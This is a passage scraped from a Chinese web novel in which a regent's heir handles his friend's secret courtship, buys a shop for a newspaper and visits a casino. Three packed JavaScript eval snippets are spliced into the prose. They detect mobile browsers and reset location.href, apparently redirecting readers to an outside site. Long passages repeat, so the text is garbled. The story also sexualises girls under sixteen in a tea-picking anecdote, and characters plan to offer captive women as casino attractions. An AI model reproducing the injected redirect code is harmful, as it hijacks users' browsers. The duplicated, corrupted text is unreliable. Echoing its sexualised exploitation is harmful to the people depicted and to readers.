溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 袭粉色的丫鬟衣裳,裙摆随着她的动作轻轻摆动,仿若一朵盛开的粉色蔷薇。 纤细的手指轻轻脱下鞋子,动作轻柔而缓慢,似是带着几分羞涩与忐忑。 很快,鞋袜被一起脱掉,露出了她白皙如玉的脚丫,脚趾圆润可爱,如同珍珠般晶莹,大脚趾微微翘起,带着几分俏皮劲儿。 脚型纤巧秀美,足弓弧度优雅自然,像是一弯新月,从脚跟至脚尖过渡得恰到好处,没有一丝突兀之感。 肌肤细腻光滑,泛着淡淡的粉色光泽,仿若春日里初绽的桃花瓣,吹弹可破。 溪水轻轻荡漾,溅起的水花打湿了她的脚背,水珠在肌肤上滚动,宛如散落的细碎珍珠,更衬得这双脚美不胜收。 芦德豪看得眼睛都直了,喉结滚动,咽了口唾沫。 他干脆顺势躺在侯玲身边,脑袋慢慢凑到侯玲脚前,贪婪地欣赏着,嘴里还不住地夸赞:“玲儿,你的脚真美,好像是玉雕的。” 侯玲更是羞得满面通红,抬手轻轻打了他一下,嗔怪道:“你这坏蛋,净说些胡话。” “要不你抬起来,给我尝一口!” “去你的。”侯玲翻个白眼,“你若喜欢吃,我让后厨给你做些猪脚来。” “猪脚有什么好吃的?我就喜欢吃你的,真的,给我吃一口吧!”芦德豪馋着都要流口水了。 侯玲见他执意如此,便又回头看了看。 见四下无人,她轻轻抬起放到芦德豪嘴边。 然后就在芦德豪准备饱餐一顿的时候,侯春突然冲了出来。 “芦德豪!” 芦德豪吓得一个激灵,慌忙坐起身,脸色瞬间变得惨白,眼神中满是偷情被抓后的惊恐与慌乱。 侯玲也吓得花容失色,手忙脚乱地想要把鞋袜穿上,却因慌乱而颤抖不已,怎么也穿不好。 林臻快跑几步,一把抓住侯春。 “猴子,不能冲动!”言罢林臻看向芦德豪,“芦德豪,你可知自己在做什么?我摄政王府岂是你寻欢作乐之地!?” 林臻说是怒吼,但其实并没有多生气。 因为他早就知道侯玲抵抗不住芦德豪的攻势,肯定会芳心暗许。 但他万万没想到,这光天化日朗朗乾坤地,芦德豪竟要舔脚! 这不仅有损王府声誉,对他国公之子的身份更是种极大的侮辱! 一旦这件事情被芦步亭知道,这桩婚事肯定告吹! 芦德豪把侯玲护在身后,表情略微有些尴尬:“大哥,我.玲儿已经答应嫁给我了。” “什么!??” 林臻没说话,侯春当即就急了。 他看向自己最疼爱的妹妹,痛心疾首地吼道:“玲儿,你真的答应他了?” “我”侯玲哪里见过这种场面,被哥哥吼了两声,当即就要哭出来。 芦德豪赶紧转身,黑黢黢的手十分温柔地把她的泪珠抹去。 “没事,别怕,有我在呢。” “你还装上了?”林臻没好气的说道,“德豪,胖子心软没让你去代县,结果你就趁机泡人家玲儿妹妹。你小子可以啊,什么时候学会的暗度陈仓?” “大哥,对不住。我真喜欢玲儿,我这辈子非她不娶了!” “不是.” 侯春没管芦德豪说什么,他一直看着自己妹妹,眼眶通红。 “玲儿,你真喜欢这个混蛋?” 玲儿攥着衣裙,怯懦地说道:“他不是混蛋” “这个整日只知道勾栏听曲,给女人舔脚丫子的男人,不是混蛋是什么?” “他他是我夫君.” 第296章 传说中的天仙玉足 听妹妹这么称呼芦德豪,侯春更是气得满脸通红。 他是打死也想不到,一个死变态、猥琐男竟能赢得妹妹的芳心! “芦德豪,你到底给我妹妹下了什么迷魂药!?” 侯春攥紧拳头,眼看着要冲上来,却见侯玲突然站在芦德豪面前,双臂张开:“哥,你要打就打我吧!是我先给芦小公爷递的杏花糕!” 这话像盆冷水浇在侯春头上。 他想起前几日妹妹熬夜做点心时烫红的手背,想起她捧着食盒在站在院内对门外翘首以盼的侧影。 “玲儿你糊涂啊!”侯春踉跄着后退半步,腰间佩刀撞在太湖石上发出脆响,“他根本就不是好男人!” “我相信他,哥,我们的事情你就别管了!” “胡闹!长兄如父,我怎能不管!?若是把你推进火坑,我怎么向死去爹娘交代?” “哥!!” 侯玲走过来。 手臂放下的瞬间,让林臻瞳孔骤然收缩! 因为他看到了一个硕大的祖母绿镯子,正戴在她手腕上。 林臻说道:“等等,玲儿。你这镯子.是芦老夫人给你的?” 侯春也注意到了。 这么大的翡翠镯子,别说侯玲,就是曾经的林臻都买不起,明显是皇族赏赐的物件。 侯玲慌忙用衣袖遮掩。 却见芦德豪站出来说道:“没错,就是我娘赏给玲儿的。” 林臻终于明白了。 芦德豪与侯玲的爱情恐怕不是从今天才开始的,并且两人已经赢得了芦步亭与芦夫人的支持,否则芦夫人不会把先帝赏她的镯子,赏给侯玲。 看来,不同意的人就侯春一个啊。 “猴子。”林臻抿了抿嘴,说道,“其实我是不想管这些事情的,但玲儿姑娘如此认可德豪,芦老夫人更是把御赐的镯子都送给了她。倒不如,你也别坚持了吧?” “可是.”侯春还有几分纠结,可是他看到妹妹脸上那股难以掩饰的幸福与笑意,终于轻叹了一声,“唉,妹子,你想好了吗?侯府大院深似海啊,那么多人,那么多阴谋诡计,你一个普通的姑娘如何应付得过来?” 侯玲笑着挽住芦德豪的手臂,满脸洋溢着幸福:“哥,你放心吧,芦小公爷已经答应我,只娶我一个。” “真的!?” 别说侯春,连林臻都不信。 芦德豪那喜新厌旧的贪色性格,竟只娶侯玲一个? 芦德豪拍着胸脯保证。 “大 哥,如果我做一件对不起玲儿的事情,我随你处置。” “哎呦,哈哈哈哈,胖爷来晚了啊!” 林臻还没回答,远处就传来胖子哈哈大笑的声音。 众人循声望去,只见胖子大步流星地走来,他那圆滚滚的身材仿佛带着一股风,穿着一身宝蓝色的绸缎衣裳,上面绣着金线勾勒的富贵牡丹,腰间束着一条朱红色的腰带,越发衬得他大腹便便。 他一路笑着,脸上的肉跟着一颤一颤的,眼睛都快眯成了缝:“怎么滴?德豪?终于找到传说中的天仙玉足了?” 芦德豪顿时面露尴尬。 “胖爷,玲儿在这呢,别乱说。” “谁乱说了?胖爷从来就不乱说!大哥。”胖子看向林臻,“你是不知道,这小子的毕生梦想就是能找到一双完美的玉足,只要找到就改邪归正,并且发誓只娶她一个人。看来,青楼里的姑娘们要失去个大客户喽。” 言罢他又看向侯玲,似笑非笑地调侃:“但是该说不说,侯玲妹子,你这眼光可真是独到啊!” 侯玲羞得快把头藏进胸围子里了,林臻连忙拉住胖子,把他往回拽:“废话少说,你怎么才来啊?” “嗐,这不是被那群纨绔的爹给缠住了么。” “怎么回事?” “还不是因为之前大哥让那些纨绔上战场!”胖子一甩衣袖,脸上的赘肉跟着抖了抖,满脸的无奈与委屈,“那些个公子哥死伤惨重,当爹的可都急红了眼,把账全算胖爷头上了。今儿个胖爷刚出门,就被他们截住,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024703|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个个跟要吃人似的,揪着胖爷不放,非要个说法。” 林臻皱了皱眉:“他们可有为难你?” “为难?那可太为难了!”胖子瞪大了眼睛,提高了声调,“王侍郎那脸黑得跟锅底似的,上来就指着胖爷鼻子骂,把家里老祖宗都骂了个狗血淋头,说胖爷蓄意谋害他家公子,断送了他们家的前程,还嚷嚷着要去皇上那儿参我爹一本。” 林臻与芦德豪、侯春都是满脸好奇。 芦德豪问道:“胖爷,你没揍他丫的?” “那必须揍他啊!胖爷一个大耳瓜子就给他抽晕了过去。他奶奶的,你儿子当逃兵,胖爷不杀他杀谁啊?哦对,还有太常寺卿,仗着自己岁数大,胡搅蛮缠地撒泼,说他受重伤的儿子有个三长两短,就拿胖爷抵命!什么东西啊!?” “呵,那些纨绔平日里在京城胡作非为,吃喝嫖赌样样精通,上了战场却成了缩头乌龟,如今出了事,倒怪起别人来了。”林臻冷笑,眼中迸射一道寒芒:“要我说,这批懒官、贪官,也是该好好清算了。” 胖子也愤恨地道:“没错!这帮家伙拿了朝廷那么多钱,反倒不干人事,就得教育教育。大哥,您脑子好使,您说咋办?” 林臻低头沉思片刻,缓缓开口:“那些纨绔子弟在战场上虽多有怯懦之举,但也不乏几个有骨气的,你看芦德豪的三个哥哥就不错,虽然平时也没个正经,但在大是大非上,不算辱没勋国公的名声。咱们就从这儿入手,将他们英勇的一面用报纸宣扬出去,让百姓知晓他们的英雄事迹。 另外,我已经想好要成立监察院,专门监督大乾官员。回头我就让他们去查查这些上门闹事的官员,谁是懒官,谁是贪官,最后一起清算。” 芦德豪点点头,一副老谋深算的样子:“大哥这主意不错,这群官员早就该查查了,陛下以前担心朝堂局势,下手太轻。现在陛下已露女儿身,励精图治的决心有目共睹,相信会得到很多官员的支持。” 胖子闻言当即没好气地撇撇嘴:“你还装上大批燕子了,你他妈懂你大爷啊!?” 第297章 二十两银子,不要就死! 众人嬉笑一阵,侯春也没有那么抵触了,跟在林臻、芦德豪、胖子身后,离开王府。 侯春担心人手不够,又喊了些护卫,众人昂首阔步地走在街市上。 他们这一行人,气势不凡,引得路人纷纷侧目。 百姓们远远瞧见林臻,眼中瞬间亮起光芒,热情地围拢过来。“世子,您今儿个出来巡查啦!” 一位提着菜篮的老妇人笑盈盈地说道,边说边将手中自家腌制的咸菜递上前,“大人,这是我刚做的,您尝尝,可香咧。” “多谢老人家,好意我心领了,您留着自个儿吃。”林臻微笑着,言辞恳切地推辞。 “林大人,您为咱老百姓做了这么多好事,吃点东西算啥。”一个年轻的小伙也跟着附和,手中还拿着热气腾腾的包子。 诸如此类,林臻都一一谢过,那谦逊有礼的模样,更是让百姓们的欢呼声愈发响亮。 此时,站在一旁的胖子和芦德豪瞧见这一幕,不禁流露出羡慕的神情。 芦德豪捅了捅胖子的大肚子,悄声道:“瞧瞧咱这大哥,这威望,这气势,真是深入人心呐!” 胖子叼着狗尾巴草,一摆手:“这就叫威慑力!那些说大哥蛊惑民心的臣子懂个鸟蛋啊?胖爷早晚把他们全砍了。” 在百姓的爱戴与欢呼声中,林臻一行人继续往前走着,忽然他的目光被不远处一家商铺所吸引。 那商铺坐落在街市的中心地段,门前的青石板路被行人踩踏得光滑如镜,可见往来人流量极大,地理位置得天独厚。 众人走近,才发现这铺子朱漆大门半掩,门环锃亮,上头的铜钉在日光下闪烁着微光,透着几分古朴庄重。 跨过门槛,入目便是宽敞开阔的店内空间,木质的货架摆放得整整齐齐,擦得一尘不染,上头摆满了琳琅满目的各类货品,从精致的手工艺品到日常家用的瓷器、织物应有尽有。 再往里走,便见几个身着灰布衣衫的年轻伙计,正手脚麻利地整理着货物,他们眼神专注,手上动作娴熟,显然是训练有素。 其中一个伙计瞧见有人进来,忙放下手中活计,快步迎上前来,脸上挂着热情的笑容:“各位爷,可有什么心仪之物,小的给您介绍介绍。” 而老板正坐在柜台后噼里啪啦地拨弄着算盘,听闻动静,抬起头来。 这老板年约五十,面容清瘦,目光却炯炯有神,透着生意人的精明与干练。 他见是林臻,先是微微一愣,随即脸上堆满了笑容,赶忙起身迎了出来 :“世子爷!什么风把您给吹来了? 林臻点点头:“老板,我看你门外贴着出兑二字,这店铺这么好?为何出兑啊? 老板闻言,脸上浮现出一丝无奈,长叹一口气道:“世子爷,不瞒您说,小人这铺子表面风光,实则内里有难。虽说地处闹市,客流量不愁,可如今这进货的成本是越来越高了。您瞧,那些个上好的手工艺品,进价翻了近一倍,瓷器、织物也都跟着涨,咱小本生意,利润空间被压得所剩无几。再者,家中老母年事已高,身体每况愈下,身边离不得人照料,小人实在分身乏术,这才不得不忍痛割爱,出兑这铺子。 林臻听着店老板的一番诉苦,微微点头,心中已有思量。他环顾店内,又看了看后院,越发觉得这铺子用来办报社再合适不过。 之所以不用府邸来开报社,主要还是因为京城对报纸的需求量不是很大,每周印三百张就好,然后喊几个书童出去卖。 不为赚钱,只为控制舆论,稳定百姓对朝廷的信心。 “这老板先是一愣,随即眼中闪过一丝精明:“大人,我这铺子地段好,空间又大,还有这后院,可是费了我不少心血打理,您要是真心想要,可不能亏待我呀。 “行,这铺子我要了,你开个价吧。 老板先是一愣,随即眼中闪过一丝精明:“大人,我这铺子地段好,空间又大,还有这后院,可是费了我不少心血打理,您要是真心想要,可不能亏待我呀。 “他奶奶的!胖子一把揪住店老板的后脖领,把他拎了起来,大嘴滂臭地吼道:“敢跟我大哥耍心眼,你有几个脑袋!?二十两银子,不要就死! “啊!? 老板吓得都快尿了。 说来也对,不管是谁,被胖子这种凶神恶煞的壮汉拎起来,都会感觉到害怕。 林臻赶紧摆摆手:“胖子,把人放下!我们是谈生意,谈生意就有谈生意的规矩,你莽莽撞撞的成何体统? 胖子把店老板放下,凶狠地看了他一眼,然后站到林臻身后。 林臻笑道:“老兄不必慌张,我这兄弟脾气火爆,你想要什么价格直接说就行。 “世子爷,小的不敢跟您耍心眼,但这店铺确实是小人毕生心血,您若想要,小人店老板看了看胖子,就见胖子捏着拳头,满脸邪笑。 他吓得浑身一哆嗦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024704|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “小人愿意以三百两的价格卖给您。 “三百两!?林臻瞪大双眼,胖子撸起袖子就要冲上去。 店老板吓得咣当一声就跪在地上:“世子饶命啊!世子,要不要不小人直接送给您得了,小人不要钱了!” “我不是那个意思。我的意思是,这么大的店铺,位置又这么好,三百两银子你还不亏死?” “小人当年就是三百两接手的,还不算屋里的东西。” “那就五百两吧,你也不亏,我也不赚。猴子,回去拿钱。” “多谢世子!多谢世子!” 其实店老板的心理价位就是五百两,奈何胖子咄咄逼人,把他吓住了,这才说三百两。 现在林臻主动给五百两,他如何不感谢? 林臻从怀里掏出几个银饼子当定金,约定好后续事宜,便离开了。 走在街上,林臻对胖子说道:“我说小胖啊,你能不能别这么冲动?我是王府世子,你是国公长子,出手就要打老百姓,你还要不要点脸?” 胖子嘿嘿一笑,“嘿嘿嘿,大哥,我就是吓唬吓唬他。这些奸商都一个德行,不吓唬就往死里压价。” “那你知不知道,你一吓唬,三百两变五百两了?” “啊?大哥,这可就你不对了,胖爷得代表组织,代表朝廷说你两句!啊,那五百两是你自己说的啊。” “废话,你给人家吓尿了,还不得多给二百两补偿?” “可我要是不吓唬他,连三百两都不可能!” “滚蛋吧。你不吓唬,凭我的人气没准一百两就拿下了呢。” “噗。”胖子偷笑着放了个屁,“大哥,要不你干脆带兵去抢算了,这么好的位置,这么好的装修,一百两?你就是天王老子也白扯啊。” 林臻笑了笑也不说话,大家心照不宣地继续往东走,一直来到赌场。 还未靠近,喧闹声便如潮水般涌来。连接着赌场的各个商铺都在紧锣密鼓地改造,工匠们忙碌的身影穿梭其中,锤子敲打声、锯木声此起彼伏。 赌场门前两尊弥勒佛香火不断,踏入赌场大门,只见一尊高大威武的赌王雕像矗立在一楼正中央,那雕像栩栩如生,仿佛在俯瞰着众生的赌运。 穿着大红长裙的闫菲闫苗走过来,被林臻一左一右地搂住。 “世子!您可是好久没来了呢!” “是呀,难道您就不想奴家嘛~” 第298章 掐得人家骨软筋麻 林臻很自然地在她们的翘臀上掐了一下。 “想,当然想~” “哎呀世子您坏死了呢!” “掐得人家骨软筋麻的,讨厌!” 闫菲和闫苗一左一右紧紧簇拥着林臻,身姿婀娜,笑语嫣然,宛如两朵盛开在烟火尘世的娇艳鲜花。 胖子等人见林臻兴起,便转身去了二楼,那里才是他们纨绔们赌钱的地方。 双胞胎簇拥着林臻走过一张张赌桌,赌徒们仿若心有灵犀一般,刹那间动作齐齐定格。 那些正吵嚷得面红耳赤、为输赢争得不可开交的声音,此刻都戛然而止;那些埋首赌局、全神贯注的赌徒也慌忙抬首。紧接着,众人极为默契地向两侧挪动脚步,迅速让出一条宽阔、笔直的通道。 一时间,原本沸腾喧闹的赌场仿若被施了静音咒。 众人目光仿若聚光灯,齐刷刷、火辣辣地聚焦到林臻身上。 有敬畏,有艳羡,更多的则是深深的恭敬。 更有甚者忙不迭整理衣衫,希望自己能在林臻面前留下好印象,有的嘴角挂着讨好笑意,轻轻点头哈腰,还有的甚至不敢大口喘气,胸脯微微起伏,显是紧张到了极点。 林臻神色平静如水,深邃双眸淡淡地扫过众人,这份与生俱来的威严如同无形气场,让他举手投足间尽显不凡。 闫苗说道:“世子,您这次来,可得玩个痛快。” 闫菲也同样撒娇:“是呀世子,早就听闻您才是这四九城里的赌王,要不今天就让奴家开开眼嘛~” 言罢两个小妮子拉着林臻就往一张空着的赌桌走去。 林臻心中一动,想着许久未玩,手也有点痒痒,于是被她们拉着坐下。 眼尖的阿文迅速端上了酒水点心,在旁边摆放整齐。 “世子。” 美女荷官躬身行礼,穿着清凉的纱裙,柔弱的香肩,纤细的腰肢都若隐若现。里面没有穿肚兜,但是却用白绸把隐私部位掩盖得很好。 越是隐隐约约的,就越招人喜欢。所谓犹抱琵琶半遮面,正是此理。 林臻点点头:“开始吧。” 骰子在骰盅里翻滚碰撞,发出清脆的声响,林臻眼神专注,凭借着以往的经验和敏锐的直觉,第一局便轻松赢了下来。 “好!” “不愧是世子,就是厉害!” 周围的人纷纷叫好,闫菲和闫苗更是拍着手,眼中满是崇拜。 “世子,您可真厉害!这手气,这眼力,奴家佩服得五体 投地。闫菲激动得脸颊泛红,身子紧紧挨着林臻。 闫苗也不甘示弱,拿起一块切好的杏肉,递到林臻嘴边:“世子,您累了,吃点水果补充补充体力,待会儿肯定能赢更多。 林臻笑着张嘴吃下,逗得双胞胎姐妹咯咯直笑。 周围人无不投去羡慕的目光。 在英雄赌场里,只要有钱,就能享受到神仙一般的待遇,但有三个女子是意外。 一个就是老板张俪,另外两个就是这对双胞胎姐妹花。 除了林臻以外,她们只需要把客人领进赌场,从不和任何人多说一句话,也不对任何人加以颜色。 前阵子鸿胪寺中丞的儿子来玩,见到双胞胎就起了色心。 结果被看场子的当场抓住,张俪果断下令打折他一条腿,像狗的被丢了出去。 从此便再也没见过这个人。 玩了几局,林臻发现有些不对劲。 不管自己怎么下注都是赢,说几点就开几点。 看来是美女荷官故意在讨好自己,如此一来,赌博也就没什么意思了。 林臻笑而不语,起身把赢来的筹码丢给双胞胎。 闫菲和闫苗一左一右,亲昵地簇拥着他往赌场楼上走去。 行至尽头,一扇雕花木门紧闭,闫菲上前轻轻叩门,脆声道:“老板,世子来了。 林臻推门而入,屋内檀香袅袅,布置得典雅大方。 只见张俪今天身着月白锦袍的女子端坐于书桌后,她面容姣好,眉如远黛,目含秋水,仪态万千。 此时,屋内还有一位身着官服的中年男子,正是工部侍郎钱伯君。 他此番前来,是因赌场两侧的商铺被收购后翻修,建筑垃圾堆积如山,阻塞道路,百姓们怨声载道,纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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言罢双胞胎离开,张俪转而拉着林臻坐到一旁的软榻上,说道:“世子,您难得来一回,妾身这儿新得了些好茶,您尝尝。” 说着,便亲自煮起茶来。 林臻看着她温婉娴熟的动作,心中满是暖意。 一时间,屋内茶香四溢,温馨静谧。 第299章 这么好的政策什么时候落实? 室内檀香袅袅,张俪身姿婀娜地立在茶案前,她身着一袭月白锦袍,恰到好处地勾勒出她纤细的腰肢,如弱柳扶风。 一头乌发松松挽起,几缕碎发垂落在白皙的颈边,更添几分慵懒的韵味。 她素手轻抬,有条不紊地摆弄着茶具,动作娴熟而优雅。 林臻坐在不远处的软榻上,目光透着欣赏与柔情,自始至终追随着张俪的一举一动,好像世间万物在这一刻都不及眼前佳人的半点风采。 张俪偶尔抬眸,与他目光交汇,二人相视一笑,心照不宣。 不多时,张俪手中捧着一盏新煮好的香茗,放在林臻面前的小案几上,袅袅热气升腾而起,茶香瞬间弥漫在屋内。 她脱掉鞋子,在软榻上跪坐,柔声道:“妾身知道夫君不喜欢那些乱七八糟的油茶,于是妾身便花高价派人去南楚买回些乳前龙井,您快尝尝。” 林臻点点头,伸手端起茶盏,先是轻嗅那馥郁的茶香,随后浅抿一口,只觉茶汤入口,甘醇爽滑,唇齿留香。 他放下茶盏,看向张俪,眼中满是赞许:“嗯,甚好。” “嘻嘻,夫君可知这乳前龙井的由来?” 林臻以前听说过明前龙井。 至于乳前龙井据说是特供茶品,有价无市。 张俪盈盈一笑:“嘻,这乳前龙井顾名思义。就是让年龄不足十六岁的处女采茶,采茶时要用嘴巴叼住茶叶,然后吐进胸前的竹篓里。茶叶经过少女香汗的滋润,再由体温自然烘干,这样的茶叶在浸泡时会产生一股奇香。” “难怪价格贵。” “贵也是相对而言的。本身这种东西就不是给老百姓喝的。” “这倒也是。” 张俪问道:“夫君今日前来,可是有事与妾身相商吧?” 她目光凝视着林臻,眼中波光粼粼,满是关切。 林臻微微坐直身子,神色变得认真起来:“确有一事,我已经在城中看好一处地方,交了定金,准备开报社。你我都知道舆论有多可怕,所以报纸必须尽早尽快弄出来,这样就可以引导舆论,稳民心、传消息。” 张俪微微点头:“妾身明白。您需要妾身怎么做?” “你即刻安排可靠之人去接手城中的报社,这些人,务必嘴严手稳,最好是跟了你多年、忠心耿耿的心腹。” “夫君放心,妾身有几个得力的掌柜。” 林臻摇摇头:“掌柜不行,必须得是文人才可以。我准备给报社并入鸿胪寺,社长为正八品,如此, 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 林臻翻个白眼:“你看人家德豪都要结婚了,你能不能也找个姑娘好好过日子啊?” “结婚?结婚有什么好的?内院成天吵吵闹闹得让人心烦,还不如现在呢。胖爷想什么时候发泄就什么时候发泄,想发泄在谁身上就发泄在谁身上。自由自在,多好啊。” “就算落实了你也别想,这几个女子可是值大价钱的,给你简直是浪费。” “不是,大哥,胖爷现在也算比较有家底的好不好?你给个亲情价,实在不行我跟德豪凑凑。” “噗。”林臻气急反笑,“这纨绔让你们俩当的。怎么?你上半宿,德豪下半宿?” 芦德豪赶紧摆摆手,“大哥你别听胖爷胡说八道,我现在可是要结婚的人!为了玲儿,我得守身如玉!” “好好好。”胖子连连摆手,“你守身可以,但钱就不能收了吧?贡献出来,等胖爷入土的时候还给你。” “你都入土了还怎么还给我啊?” “你去胖爷的棺材里挖啊。有胖爷的承诺,不算犯法!” “我去你大爷的!” 既能给予报社一定的官方地位,行事也有诸多便利。编辑者为九品闲职,没有实权。其余人员,暂且不设品级,凭本事各司其职,日后若有功劳,再论封赏。” “既如此,夫君不如在翰林院找一个。” “也好,晚点我会进宫找陛下商议此事。除了社长,你还需要找些文笔好的读书人,让他们来编撰内容。这些文人,须有洞察世事之能,将城中大小事、朝廷政令、民生百态如实记录,化作新闻,让百姓爱看、想看。 再找几名画师,在报纸上简单作画以搭配文字。同时大批木匠需即刻进驻报社,如今这活字印刷之术虽已有雏形,知晓运用的人却很少,得让木匠们尽快研习精通,打造活字印刷所需的一类器具,确保能顺利印出报纸。时间紧迫,不容有失。” “妾身明白,定会督促他们日夜赶工。”张俪心里清楚,这活字印刷乃是关键一环,关乎报纸能否顺利问世,绝不可掉链子。 但是她同样有所担心,面露一丝难色:“可是夫君,文人倒是好找,只是这活字印刷术妾身闻所未闻,恐怕不好做吧?” “这你无需担忧,我已经亲手教了几个木匠师傅,想来此刻正在钻研,他们会手把手教木匠干活,不出半月,应该能初见成效。” 张俪似是吃下一颗定心丸,呼出一口气说道:“太好了,要不还以为您要妾身自己去发明活字印刷术呢。” 此时,闫菲和闫苗再次进来,端着几盘点心。 闫菲笑语盈盈:“世子,老板,聊了这许久想必是饿了,尝尝后厨新做的点心。” 众人围坐,一边品尝点心,一边又商讨了些报社筹备的细节。 待诸事商定,林臻起身准备离去,他看向张俪,眼神中饱含深意:“俪儿,这报社一事,关乎重大,你肩上的担子不轻,可要多多费心。” 张俪起身,郑重行礼:“夫君放心,妾身定不负所托。” 从赌场出来,林臻思绪万千。 眼下要处理的事情实在是太多了,得一件一件办。 胖子在二楼赌了几局,输得一干二净,此刻嘬着牙花子地抱怨:“他奶奶的。翰林院大学士,当代大儒的儿子,最擅长的东西居然是赌场,这TM跟谁说理去呢?” 芦德豪也帮腔道:“谁说不是呢?那哥们把牌九玩得出神入化,咱俩坐庄出千都没赢过他。” 胖子看向林臻:“大哥,你上次说要把天道那几个小娘们当赌场招牌,造福劳苦大众。这么好的政策什么时候落实?胖爷等的心痒痒啊。” 